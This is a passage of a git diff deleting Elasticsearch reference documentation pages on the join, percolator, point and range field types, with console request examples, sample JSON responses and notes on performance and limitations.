-  "my_id": "4",
-  "text": "This is another answer",
-  "my_join_field": {
-    "name": "answer",
-    "parent": "1"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The routing value is mandatory because parent and child documents must be indexed on the same shard
-<2> `answer` is the name of the join for this document
-<3> The parent id of this child document
-
-==== Parent-join and performance
-
-The join field shouldn't be used like joins in a relation database. In Elasticsearch the key to good performance
-is to de-normalize your data into documents. Each join field, `has_child` or `has_parent` query adds a
-significant tax to your query performance. It can also trigger <<eager-global-ordinals, global ordinals>> to be built.
-
-The only case where the join field makes sense is if your data contains a one-to-many relationship where
-one entity significantly outnumbers the other entity. An example of such case is a use case with products
-and offers for these products. In the case that offers significantly outnumbers the number of products then
-it makes sense to model the product as parent document and the offer as child document.
-
-==== Parent-join restrictions
-
-* Only one `join` field mapping is allowed per index.
-* Parent and child documents must be indexed on the same shard.
-  This means that the same `routing` value needs to be provided when
-  <<docs-get,getting>>, <<docs-delete,deleting>>, or <<docs-update,updating>>
-  a child document.
-* An element can have multiple children but only one parent.
-* It is possible to add a new relation to an existing `join` field.
-* It is also possible to add a child to an existing element
-  but only if the element is already a parent.
-
-==== Searching with parent-join
-
-The parent-join creates one field to index the name of the relation
-within the document (`my_parent`, `my_child`, ...).
-
-It also creates one field per parent/child relation.
-The name of this field is the name of the `join` field followed by `#` and the
-name of the parent in the relation.
-So for instance for the `my_parent` -> [`my_child`, `another_child`] relation,
-the `join` field creates an additional field named `my_join_field#my_parent`.
-
-This field contains the parent `_id` that the document links to
-if the document is a child (`my_child` or `another_child`) and the `_id` of
-document if it's a parent (`my_parent`).
-
-When searching an index that contains a `join` field, these two fields are always
-returned in the search response:
-
-[source,console]
---------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "match_all": {}
-  },
-  "sort": ["my_id"]
-}
---------------------------
-// TEST[continued]
-
-Will return:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...,
-  "hits": {
-    "total": {
-      "value": 4,
-      "relation": "eq"
-    },
-    "max_score": null,
-    "hits": [
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": null,
-        "_source": {
-          "my_id": "1",
-          "text": "This is a question",
-          "my_join_field": "question"         <1>
-        },
-        "sort": [
-          "1"
-        ]
-      },
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "2",
-        "_score": null,
-        "_source": {
-          "my_id": "2",
-          "text": "This is another question",
-          "my_join_field": "question"          <2>
-        },
-        "sort": [
-          "2"
-        ]
-      },
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "3",
-        "_score": null,
-        "_routing": "1",
-        "_source": {
-          "my_id": "3",
-          "text": "This is an answer",
-          "my_join_field": {
-            "name": "answer",                 <3>
-            "parent": "1"                     <4>
-          }
-        },
-        "sort": [
-          "3"
-        ]
-      },
-      {
-        "_index": "my-index-000001",
-        "_type": "_doc",
-        "_id": "4",
-        "_score": null,
-        "_routing": "1",
-        "_source": {
-          "my_id": "4",
-          "text": "This is another answer",
-          "my_join_field": {
-            "name": "answer",
-            "parent": "1"
-          }
-        },
-        "sort": [
-          "4"
-        ]
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"timed_out": false, "took": $body.took, "_shards": $body._shards/]
-
-<1> This document belongs to the `question` join
-<2> This document belongs to the `question` join
-<3> This document belongs to the `answer` join
-<4> The linked parent id for the child document
-
-==== Parent-join queries and aggregations
-
-See the <<query-dsl-has-child-query,`has_child`>> and
-<<query-dsl-has-parent-query,`has_parent`>> queries,
-the <<search-aggregations-bucket-children-aggregation,`children`>> aggregation,
-and <<parent-child-inner-hits,inner hits>> for more information.
-
-The value of the `join` field is accessible in aggregations
-and scripts, and may be queried with the
-<<query-dsl-parent-id-query, `parent_id` query>>:
-
-[source,console]
---------------------------
-GET my-index-000001/_search
-{
-  "query": {
-    "parent_id": { <1>
-      "type": "answer",
-      "id": "1"
-    }
-  },
-  "aggs": {
-    "parents": {
-      "terms": {
-        "field": "my_join_field#question", <2>
-        "size": 10
-      }
-    }
-  },
-  "script_fields": {
-    "parent": {
-      "script": {
-         "source": "doc['my_join_field#question']" <3>
-      }
-    }
-  }
-}
---------------------------
-// TEST[continued]
-
-<1> Querying the `parent id` field (also see the <<query-dsl-has-parent-query,`has_parent` query>> and the <<query-dsl-has-child-query,`has_child` query>>)
-<2> Aggregating on the `parent id` field (also see the <<search-aggregations-bucket-children-aggregation,`children`>> aggregation)
-<3> Accessing the parent id` field in scripts
-
-
-==== Global ordinals
-
-The `join` field uses <<eager-global-ordinals,global ordinals>> to speed up joins.
-Global ordinals need to be rebuilt after any change to a shard. The more
-parent id values are stored in a shard, the longer it takes to rebuild the
-global ordinals for the `join` field.
-
-Global ordinals, by default, are built eagerly: if the index has changed,
-global ordinals for the `join` field will be rebuilt as part of the refresh.
-This can add significant time to the refresh. However most of the times this is the
-right trade-off, otherwise global ordinals are rebuilt when the first parent-join
-query or aggregation is used. This can introduce a significant latency spike for
-your users and usually this is worse as multiple global ordinals for the `join`
-field may be attempt rebuilt within a single refresh interval when many writes
-are occurring.
-
-When the `join` field is used infrequently and writes occur frequently it may
-make sense to disable eager loading:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_join_field": {
-        "type": "join",
-        "relations": {
-           "question": "answer"
-        },
-        "eager_global_ordinals": false
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The amount of heap used by global ordinals can be checked per parent relation
-as follows:
-
-[source,console]
---------------------------------------------------
-# Per-index
-GET _stats/fielddata?human&fields=my_join_field#question
-
-# Per-node per-index
-GET _nodes/stats/indices/fielddata?human&fields=my_join_field#question
---------------------------------------------------
-// TEST[continued]
-
-==== Multiple children per parent
-
-It is also possible to define multiple children for a single parent:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_join_field": {
-        "type": "join",
-        "relations": {
-          "question": ["answer", "comment"]  <1>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> `question` is parent of `answer` and `comment`.
-
-==== Multiple levels of parent join
-
-WARNING: Using multiple levels of relations to replicate a relational model is not recommended.
-Each level of relation adds an overhead at query time in terms of memory and computation.
-You should de-normalize your data if you care about performance.
-
-Multiple levels of parent/child:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_join_field": {
-        "type": "join",
-        "relations": {
-          "question": ["answer", "comment"],  <1>
-          "answer": "vote" <2>
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> `question` is parent of `answer` and `comment`
-<2> `answer` is parent of `vote`
-
-The mapping above represents the following tree:
-
-                         question
-                          /    \
-                         /      \
-                      comment  answer
-                                 |
-                                 |
-                                vote
-
-Indexing a grandchild document requires a `routing` value equals
-to the grand-parent (the greater parent of the lineage):
-
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/3?routing=1&refresh <1>
-{
-  "text": "This is a vote",
-  "my_join_field": {
-    "name": "vote",
-    "parent": "2" <2>
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> This child document must be on the same shard than its grand-parent and parent
-<2> The parent id of this document (must points to an `answer` document)
diff --git a/docs/reference/mapping/types/percolator.asciidoc b/docs/reference/mapping/types/percolator.asciidoc
deleted file mode 100644
index 496941d4143..00000000000
--- a/docs/reference/mapping/types/percolator.asciidoc
+++ /dev/null
@@ -1,741 +0,0 @@
-[[percolator]]
-=== Percolator field type
-++++
-<titleabbrev>Percolator</titleabbrev>
-++++
-
-The `percolator` field type parses a json structure into a native query and
-stores that query, so that the <<query-dsl-percolate-query,percolate query>>
-can use it to match provided documents.
-
-Any field that contains a json object can be configured to be a percolator
-field. The percolator field type has no settings. Just configuring the `percolator`
-field type is sufficient to instruct Elasticsearch to treat a field as a
-query.
-
-If the following mapping configures the `percolator` field type for the
-`query` field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "query": {
-        "type": "percolator"
-      },
-      "field": {
-        "type": "text"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-Then you can index a query:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/match_value
-{
-  "query": {
-    "match": {
-      "field": "value"
-    }
-  }
-}
---------------------------------------------------
-
-[IMPORTANT]
-=====================================
-
-Fields referred to in a percolator query must *already* exist in the mapping
-associated with the index used for percolation. In order to make sure these fields exist,
-add or update a mapping via the <<indices-create-index,create index>> or <<indices-put-mapping,put mapping>> APIs.
-
-=====================================
-
-[discrete]
-==== Reindexing your percolator queries
-
-Reindexing percolator queries is sometimes required to benefit from improvements made to the `percolator` field type in
-new releases.
-
-Reindexing percolator queries can be reindexed by using the <<docs-reindex,reindex api>>.
-Lets take a look at the following index with a percolator field type:
-
-[source,console]
---------------------------------------------------
-PUT index
-{
-  "mappings": {
-    "properties": {
-      "query" : {
-        "type" : "percolator"
-      },
-      "body" : {
-        "type": "text"
-      }
-    }
-  }
-}
-
-POST _aliases
-{
-  "actions": [
-    {
-      "add": {
-        "index": "index",
-        "alias": "queries" <1>
-      }
-    }
-  ]
-}
-
-PUT queries/_doc/1?refresh
-{
-  "query" : {
-    "match" : {
-      "body" : "quick brown fox"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> It is always recommended to define an alias for your index, so that in case of a reindex systems / applications
-    don't need to be changed to know that the percolator queries are now in a different index.
-
-Lets say you're going to upgrade to a new major version and in order for the new Elasticsearch version to still be able
-to read your queries you need to reindex your queries into a new index on the current Elasticsearch version:
-
-[source,console]
---------------------------------------------------
-PUT new_index
-{
-  "mappings": {
-    "properties": {
-      "query" : {
-        "type" : "percolator"
-      },
-      "body" : {
-        "type": "text"
-      }
-    }
-  }
-}
-
-POST /_reindex?refresh
-{
-  "source": {
-    "index": "index"
-  },
-  "dest": {
-    "index": "new_index"
-  }
-}
-
-POST _aliases
-{
-  "actions": [ <1>
-    {
-      "remove": {
-        "index" : "index",
-        "alias": "queries"
-      }
-    },
-    {
-      "add": {
-        "index": "new_index",
-        "alias": "queries"
-      }
-    }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> If you have an alias don't forget to point it to the new index.
-
-Executing the `percolate` query via the `queries` alias:
-
-[source,console]
---------------------------------------------------
-GET /queries/_search
-{
-  "query": {
-    "percolate" : {
-      "field" : "query",
-      "document" : {
-        "body" : "fox jumps over the lazy dog"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-now returns matches from the new index:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 3,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.13076457,
-    "hits": [
-      {
-        "_index": "new_index", <1>
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.13076457,
-        "_source": {
-          "query": {
-            "match": {
-              "body": "quick brown fox"
-            }
-          }
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 3,/"took": "$body.took",/]
-
-<1> Percolator query hit is now being presented from the new index.
-
-[discrete]
-==== Optimizing query time text analysis
-
-When the percolator verifies a percolator candidate match it is going to parse, perform query time text analysis and actually run
-the percolator query on the document being percolated. This is done for each candidate match and every time the `percolate` query executes.
-If your query time text analysis is relatively expensive part of query parsing then text analysis can become the
-dominating factor time is being spent on when percolating. This query parsing overhead can become noticeable when the
-percolator ends up verifying many candidate percolator query matches.
-
-To avoid the most expensive part of text analysis at percolate time. One can choose to do the expensive part of text analysis
-when indexing the percolator query. This requires using two different analyzers. The first analyzer actually performs
-text analysis that needs be performed (expensive part). The second analyzer (usually whitespace) just splits the generated tokens
-that the first analyzer has produced. Then before indexing a percolator query, the analyze api should be used to analyze the query
-text with the more expensive analyzer. The result of the analyze api, the tokens, should be used to substitute the original query
-text in the percolator query. It is important that the query should now be configured to override the analyzer from the mapping and
-just the second analyzer. Most text based queries support an `analyzer` option (`match`, `query_string`, `simple_query_string`).
-Using this approach the expensive text analysis is performed once instead of many times.
-
-Lets demonstrate this workflow via a simplified example.
-
-Lets say we want to index the following percolator query:
-
-[source,js]
---------------------------------------------------
-{
-  "query" : {
-    "match" : {
-      "body" : {
-        "query" : "missing bicycles"
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-with these settings and mapping:
-
-[source,console]
---------------------------------------------------
-PUT /test_index
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_analyzer" : {
-          "tokenizer": "standard",
-          "filter" : ["lowercase", "porter_stem"]
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "query" : {
-        "type": "percolator"
-      },
-      "body" : {
-        "type": "text",
-        "analyzer": "my_analyzer" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> For the purpose of this example, this analyzer is considered expensive.
-
-First we need to use the analyze api to perform the text analysis prior to indexing:
-
-[source,console]
---------------------------------------------------
-POST /test_index/_analyze
-{
-  "analyzer" : "my_analyzer",
-  "text" : "missing bicycles"
-}
---------------------------------------------------
-// TEST[continued]
-
-This results the following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens": [
-    {
-      "token": "miss",
-      "start_offset": 0,
-      "end_offset": 7,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "bicycl",
-      "start_offset": 8,
-      "end_offset": 16,
-      "type": "<ALPHANUM>",
-      "position": 1
-    }
-  ]
-}
---------------------------------------------------
-
-All the tokens in the returned order need to replace the query text in the percolator query:
-
-[source,console]
---------------------------------------------------
-PUT /test_index/_doc/1?refresh
-{
-  "query" : {
-    "match" : {
-      "body" : {
-        "query" : "miss bicycl",
-        "analyzer" : "whitespace" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> It is important to select a whitespace analyzer here, otherwise the analyzer defined in the mapping will be used,
-which defeats the point of using this workflow. Note that `whitespace` is a built-in analyzer, if a different analyzer
-needs to be used, it needs to be configured first in the index's settings.
-
-The analyze api prior to the indexing the percolator flow should be done for each percolator query.
-
-At percolate time nothing changes and the `percolate` query can be defined normally:
-
-[source,console]
---------------------------------------------------
-GET /test_index/_search
-{
-  "query": {
-    "percolate" : {
-      "field" : "query",
-      "document" : {
-        "body" : "Bycicles are missing"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-This results in a response like this:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 6,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.13076457,
-    "hits": [
-      {
-        "_index": "test_index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.13076457,
-        "_source": {
-          "query": {
-            "match": {
-              "body": {
-                "query": "miss bicycl",
-                "analyzer": "whitespace"
-              }
-            }
-          }
-        },
-        "fields" : {
-          "_percolator_document_slot" : [0]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 6,/"took": "$body.took",/]
-
-[discrete]
-==== Optimizing wildcard queries.
-
-Wildcard queries are  more expensive than other queries for the percolator,
-especially if the wildcard expressions are large.
-
-In the case of `wildcard` queries with prefix wildcard expressions or just the `prefix` query,
-the `edge_ngram` token filter can be used to replace these queries with regular `term`
-query on a field where the `edge_ngram` token filter is configured.
-
-Creating an index with custom analysis settings:
-
-[source,console]
---------------------------------------------------
-PUT my_queries1
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "wildcard_prefix": { <1>
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "wildcard_edge_ngram"
-          ]
-        }
-      },
-      "filter": {
-        "wildcard_edge_ngram": { <2>
-          "type": "edge_ngram",
-          "min_gram": 1,
-          "max_gram": 32
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "query": {
-        "type": "percolator"
-      },
-      "my_field": {
-        "type": "text",
-        "fields": {
-          "prefix": { <3>
-            "type": "text",
-            "analyzer": "wildcard_prefix",
-            "search_analyzer": "standard"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The analyzer that generates the prefix tokens to be used at index time only.
-<2> Increase the `min_gram` and decrease `max_gram` settings based on your prefix search needs.
-<3> This multifield should be used to do the prefix search
-    with a `term` or `match` query instead of a `prefix` or `wildcard` query.
-
-
-Then instead of indexing the following query:
-
-[source,js]
---------------------------------------------------
-{
-  "query": {
-    "wildcard": {
-      "my_field": "abc*"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-this query below should be indexed:
-
-[source,console]
---------------------------------------------------
-PUT /my_queries1/_doc/1?refresh
-{
-  "query": {
-    "term": {
-      "my_field.prefix": "abc"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-This way can handle the second query more efficiently than the first query.
-
-The following search request will match with the previously indexed
-percolator query:
-
-[source,console]
---------------------------------------------------
-GET /my_queries1/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "document": {
-        "my_field": "abcd"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 6,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 0.18864399,
-    "hits": [
-      {
-        "_index": "my_queries1",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 0.18864399,
-        "_source": {
-          "query": {
-            "term": {
-              "my_field.prefix": "abc"
-            }
-          }
-        },
-        "fields": {
-          "_percolator_document_slot": [
-            0
-          ]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 6,/"took": "$body.took",/]
-
-The same technique can also be used to speed up suffix
-wildcard searches. By using the `reverse` token filter
-before the `edge_ngram` token filter.
-
-[source,console]
---------------------------------------------------
-PUT my_queries2
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "wildcard_suffix": {
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "reverse",
-            "wildcard_edge_ngram"
-          ]
-        },
-        "wildcard_suffix_search_time": {
-          "type": "custom",
-          "tokenizer": "standard",
-          "filter": [
-            "lowercase",
-            "reverse"
-          ]
-        }
-      },
-      "filter": {
-        "wildcard_edge_ngram": {
-          "type": "edge_ngram",
-          "min_gram": 1,
-          "max_gram": 32
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "query": {
-        "type": "percolator"
-      },
-      "my_field": {
-        "type": "text",
-        "fields": {
-          "suffix": {
-            "type": "text",
-            "analyzer": "wildcard_suffix",
-            "search_analyzer": "wildcard_suffix_search_time" <1>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> A custom analyzer is needed at search time too, because otherwise
-    the query terms are not being reversed and would otherwise not match
-    with the reserved suffix tokens.
-
-Then instead of indexing the following query:
-
-[source,js]
---------------------------------------------------
-{
-  "query": {
-    "wildcard": {
-      "my_field": "*xyz"
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-the following query below should be indexed:
-
-[source,console]
---------------------------------------------------
-PUT /my_queries2/_doc/2?refresh
-{
-  "query": {
-    "match": { <1>
-      "my_field.suffix": "xyz"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The `match` query should be used instead of the `term` query,
-    because text analysis needs to reverse the query terms.
-
-The following search request will match with the previously indexed
-percolator query:
-
-[source,console]
---------------------------------------------------
-GET /my_queries2/_search
-{
-  "query": {
-    "percolate": {
-      "field": "query",
-      "document": {
-        "my_field": "wxyz"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-==== Dedicated Percolator Index
-
-Percolate queries can be added to any index. Instead of adding percolate queries to the index the data resides in,
-these queries can also be added to a dedicated index. The advantage of this is that this dedicated percolator index
-can have its own index settings (For example the number of primary and replica shards). If you choose to have a dedicated
-percolate index, you need to make sure that the mappings from the normal index are also available on the percolate index.
-Otherwise percolate queries can be parsed incorrectly.
-
-[discrete]
-==== Forcing Unmapped Fields to be Handled as Strings
-
-In certain cases it is unknown what kind of percolator queries do get registered, and if no field mapping exists for fields
-that are referred by percolator queries then adding a percolator query fails. This means the mapping needs to be updated
-to have the field with the appropriate settings, and then the percolator query can be added. But sometimes it is sufficient
-if all unmapped fields are handled as if these were default text fields. In those cases one can configure the
-`index.percolator.map_unmapped_fields_as_text` setting to `true` (default to `false`) and then if a field referred in
-a percolator query does not exist, it will be handled as a default text field so that adding the percolator query doesn't
-fail.
-
-[discrete]
-==== Limitations
-
-[discrete]
-[[parent-child]]
-===== Parent/child
-
-Because the `percolate` query is processing one document at a time, it doesn't support queries and filters that run
-against child documents such as `has_child` and `has_parent`.
-
-[discrete]
-===== Fetching queries
-
-There are a number of queries that fetch data via a get call during query parsing. For example the `terms` query when
-using terms lookup, `template` query when using indexed scripts and `geo_shape` when using pre-indexed shapes. When these
-queries are indexed by the `percolator` field type then the get call is executed once. So each time the `percolator`
-query evaluates these queries, the fetches terms, shapes etc. as the were upon index time will be used. Important to note
-is that fetching of terms that these queries do, happens both each time the percolator query gets indexed on both primary
-and replica shards, so the terms that are actually indexed can be different between shard copies, if the source index
-changed while indexing.
-
-[discrete]
-===== Script query
-
-The script inside a `script` query can only access doc values fields. The `percolate` query indexes the provided document
-into an in-memory index. This in-memory index doesn't support stored fields and because of that the `_source` field and
-other stored fields are not stored. This is the reason why in the `script` query the `_source` and other stored fields
-aren't available.
-
-[discrete]
-===== Field aliases
-
-Percolator queries that contain <<alias, field aliases>> may not always behave as expected. In particular, if a
-percolator query is registered that contains a field alias, and then that alias is updated in the mappings to refer
-to a different field, the stored query will still refer to the original target field. To pick up the change to
-the field alias, the percolator query must be explicitly reindexed.
diff --git a/docs/reference/mapping/types/point.asciidoc b/docs/reference/mapping/types/point.asciidoc
deleted file mode 100644
index f0645ef1e65..00000000000
--- a/docs/reference/mapping/types/point.asciidoc
+++ /dev/null
@@ -1,99 +0,0 @@
-[[point]]
-[role="xpack"]
-[testenv="basic"]
-=== Point field type
-++++
-<titleabbrev>Point</titleabbrev>
-++++
-
-The `point` data type facilitates the indexing of and searching
-arbitrary `x, y` pairs that fall in a 2-dimensional planar
-coordinate system.
-
-You can query documents using this type using
-<<query-dsl-shape-query,shape Query>>.
-
-There are four ways that a point may be specified, as demonstrated below:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "point"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "text": "Point as an object",
-  "location": { <1>
-    "x": 41.12,
-    "y": -71.34
-  }
-}
-
-PUT my-index-000001/_doc/2
-{
-  "text": "Point as a string",
-  "location": "41.12,-71.34" <2>
-}
-
-
-PUT my-index-000001/_doc/4
-{
-  "text": "Point as an array",
-  "location": [41.12, -71.34] <3>
-}
-
-PUT my-index-000001/_doc/5
-{
-  "text": "Point as a WKT POINT primitive",
-  "location" : "POINT (41.12 -71.34)" <4>
-}
-
---------------------------------------------------
-
-<1> Point expressed as an object, with `x` and `y` keys.
-<2> Point expressed as a string with the format: `"x,y"`.
-<3> Point expressed as an array with the format: [ `x`, `y`]
-<4> Point expressed as a https://docs.opengeospatial.org/is/12-063r5/12-063r5.html[Well-Known Text]
-POINT with the format: `"POINT(x y)"`
-
-The coordinates provided to the indexer are single precision floating point values so
-the field guarantees the same accuracy provided by the java virtual machine (typically
-`1E-38`).
-
-[[point-params]]
-==== Parameters for `point` fields
-
-The following parameters are accepted by `point` fields:
-
-[horizontal]
-
-<<ignore-malformed,`ignore_malformed`>>::
-
-    If `true`, malformed points are ignored. If `false` (default),
-    malformed points throw an exception and reject the whole document.
-
-`ignore_z_value`::
-
-    If `true` (default) three dimension points will be accepted (stored in source)
-    but only x and y values will be indexed; the third dimension is
-    ignored. If `false`, points containing any more than x and y
-    (two dimensions) values throw an exception and reject the whole document.
-
-<<null-value,`null_value`>>::
-
-    Accepts an point value which is substituted for any explicit `null` values.
-    Defaults to `null`, which means the field is treated as missing.
-
-==== Sorting and retrieving points
-
-It is currently not possible to sort points or retrieve their fields
-directly. The `point` value is only retrievable through the `_source`
-field.
diff --git a/docs/reference/mapping/types/range.asciidoc b/docs/reference/mapping/types/range.asciidoc
deleted file mode 100644
index 4d75b6d6ac1..00000000000
--- a/docs/reference/mapping/types/range.asciidoc
+++ /dev/null
@@ -1,238 +0,0 @@
-[[range]]
-=== Range field types
-++++
-<titleabbrev>Range</titleabbrev>
-++++
-
-Range field types represent a continuous range of values between an upper and lower
-bound. For example, a range can represent _any date in October_ or _any
-integer from 0 to 9_. They are defined using the operators
-`gt` or `gte` for the lower bound, and `lt` or `lte` for the upper bound.
-They can be used for querying, and have
-limited support for aggregations. The only supported aggregations are
-{ref}/search-aggregations-bucket-histogram-aggregation.html[histogram],
-{ref}/search-aggregations-metrics-cardinality-aggregation.html[cardinality].
-
-The following range types are supported:
-
-[horizontal]
-`integer_range`::   A range of signed 32-bit integers with a minimum value of +-2^31^+ and maximum of +2^31^-1+.
-`float_range`::     A range of single-precision 32-bit IEEE 754 floating point values.
-`long_range`::      A range of signed 64-bit integers with a minimum value of +-2^63^+ and maximum of +2^63^-1+.
-`double_range`::    A range of double-precision 64-bit IEEE 754 floating point values.
-`date_range`::      A range of <<date,`date`>> values. Date ranges support various date formats
-                    through the <<mapping-date-format,`format`>> mapping parameter. Regardless of
-                    the format used, date values are parsed into an unsigned 64-bit integer
-                    representing milliseconds since the Unix epoch in UTC. Values containing the
-                    `now` <<date-math,date math>> expression are not supported.
-`ip_range` ::       A range of ip values supporting either {wikipedia}/IPv4[IPv4] or
-                    {wikipedia}/IPv6[IPv6] (or mixed) addresses.
-
-Below is an example of configuring a mapping with various range fields followed by an example that indexes several range types.
-
-[source,console]
---------------------------------------------------
-PUT range_index
-{
-  "settings": {
-    "number_of_shards": 2
-  },
-  "mappings": {
-    "properties": {
-      "expected_attendees": {
-        "type": "integer_range"
-      },
-      "time_frame": {
-        "type": "date_range", <1>
-        "format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis"
-      }
-    }
-  }
-}
-
-PUT range_index/_doc/1?refresh
-{
-  "expected_attendees" : { <2>
-    "gte" : 10,
-    "lt" : 20
-  },
-  "time_frame" : {
-    "gte" : "2015-10-31 12:00:00", <3>
-    "lte" : "2015-11-01"
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-<1> `date_range` types accept the same field parameters defined by the <<date, `date`>> type.
-<2> Example indexing a meeting with 10 to 20 attendees, not including 20.
-<3> Example date range using date time stamp.
-
-The following is an example of a <<query-dsl-term-query, term query>> on the `integer_range` field named "expected_attendees".
-12 is a value inside the range, so it will match.
-
-[source,console]
---------------------------------------------------
-GET range_index/_search
-{
-  "query" : {
-    "term" : {
-      "expected_attendees" : {
-        "value": 12
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The result produced by the above query.
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 13,
-  "timed_out": false,
-  "_shards" : {
-    "total": 2,
-    "successful": 2,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits" : {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score" : 1.0,
-    "hits" : [
-      {
-        "_index" : "range_index",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 1.0,
-        "_source" : {
-          "expected_attendees" : {
-            "gte" : 10, "lt" : 20
-          },
-          "time_frame" : {
-            "gte" : "2015-10-31 12:00:00", "lte" : "2015-11-01"
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 13/"took" : $body.took/]
-
-The following is an example of a `date_range` query over the `date_range` field named "time_frame".
-
-[source,console]
---------------------------------------------------
-GET range_index/_search
-{
-  "query" : {
-    "range" : {
-      "time_frame" : { <1>
-        "gte" : "2015-10-31",
-        "lte" : "2015-11-01",
-        "relation" : "within" <2>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Range queries work the same as described in <<query-dsl-range-query, range query>>.
-<2> Range queries over range <<mapping-types, fields>> support a `relation` parameter which can be one of `WITHIN`, `CONTAINS`,
-    `INTERSECTS` (default).
-
-This query produces a similar result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 13,
-  "timed_out": false,
-  "_shards" : {
-    "total": 2,
-    "successful": 2,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits" : {
-    "total" : {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score" : 1.0,
-    "hits" : [
-      {
-        "_index" : "range_index",
-        "_type" : "_doc",
-        "_id" : "1",
-        "_score" : 1.0,
-        "_source" : {
-          "expected_attendees" : {
-            "gte" : 10, "lt" : 20
-          },
-          "time_frame" : {
-            "gte" : "2015-10-31 12:00:00", "lte" : "2015-11-01"
-          }
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 13/"took" : $body.took/]
-
-[[ip-range]]
-==== IP Range
-
-In addition to the range format above, IP ranges can be provided in
